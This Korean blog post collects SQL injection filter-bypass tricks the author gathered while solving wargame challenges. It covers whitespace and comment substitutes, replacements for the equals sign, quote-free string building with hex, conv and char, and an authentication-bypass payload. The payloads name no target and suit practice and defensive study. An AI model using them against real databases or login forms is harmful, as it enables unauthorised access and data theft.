※ 워게임 풀면서 찾은 우회법, 계속 업데이트 할 예정.
▶공란 필터링 (avoiding whitepsace)
%0a(\n) %0b(\v: vertical tab) %0c(\f:Form feed{프린트 출력시 현재 페이지 침}) %0d(\r:Carriage return) %09(\t) %a0(nbsp:non-breaking space)
/**/
괄호() 사용 : pw = 'or(id='admin')and'1'='1
▶주석 필터링
;%00 /* %23(#)
(c.f. %00: null)
▶equal(=) 필터링
substr('abc',1,1)like('a'), if(strcmp(substr('abc',1,1),'a'),0,1), substr('abc',1,1)%20in('a')
LIKE,REGEXP,RLIKE, not < and not >
select * from table where id='admin' select * from table where id like 'admin'
select * from table where id in('admin')1) like 연산자
[1] like
- 등호랑 똑같이 사용
- 추가로 pw like "a%", "%a%" , "%a" 와 같이 쿼리문에서 응용가능하다.
a가 해당 문자열 안에 있어도 참으로 반환
(순서대로 첫번째 문자가 a일 때, 문자열 안에 a가 들어있을 때, 마지막 문자가 a일 때)
[2] in
- 등호 대신 in을 사용하고 ()를 사용하여 표현한다.
- ex) pw in ("1234")
[3] instr 함수
- ex) instr(id,"admin")
[4] 부등호 (< , >)
- 등호 대신 등식으로 표현
- ex) length(pw) = 8 ---> length(pw) > 7 and length(pw) <9
▶ascii 우회
ord - ord(mid("abcd",1,1)="97"
hex - hex(mid("abcd",1,1)="61"
'ABC' = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))
▶작은따옴표(싱글쿼터)가 막혔을 때
16진수 : SELECT x5061756c : paul / SELECT 0xa+0; : 10 /
36진수 : SELECT conv(10,10,36) = 'A'
가젯에서 추출 : SELECT substr(monthname(from_unixtime(1)),2,1)='a'
monthname(from_unixtime(1)) = 'January'
숫자를 사용할 수 없는 경우(auto type cast) : false=0, true =1, true+true=2, floor(version()) = 5
▶substr 필터링 시
[1]substring사용(안될확률 매우 높음)
[2] SELECT if FROM member WHERE id like 'a%'
SELECT if FROM member WHERE id regexp 'a.*'
[3] right(left('abc',1),1), id>0x41444d4941 ('ADMIN'은 'ADMIA'보다 hex값이 크다)
▶특정문자열 검열
[1] Concat('a','d','m','i','n')
[2] Concat(char(97),char(100),char(109),char(105),char(110))
[3] 대소문자 대입
[4] 필터링되는부분에 일부러 해당 문자를 넣을것.
'정보보안(웹해킹) > SQLInjection' 카테고리의 다른 글
SQL Injection 필터우회의 모든 것 (펌) (0) | 2023.01.06 |
---|---|
Blind SQL Injection 과 자동화 (Blind SQL Injector) 및 SQL Injection 대응방안 (1) | 2022.12.11 |
SQL injection in 'order by' clause (0) | 2022.12.09 |
SQL Injection WAF 우회기법 (0) | 2022.11.21 |
[php] Error-based SQLi 연습세팅 & 대응방안 (0) | 2022.11.04 |
댓글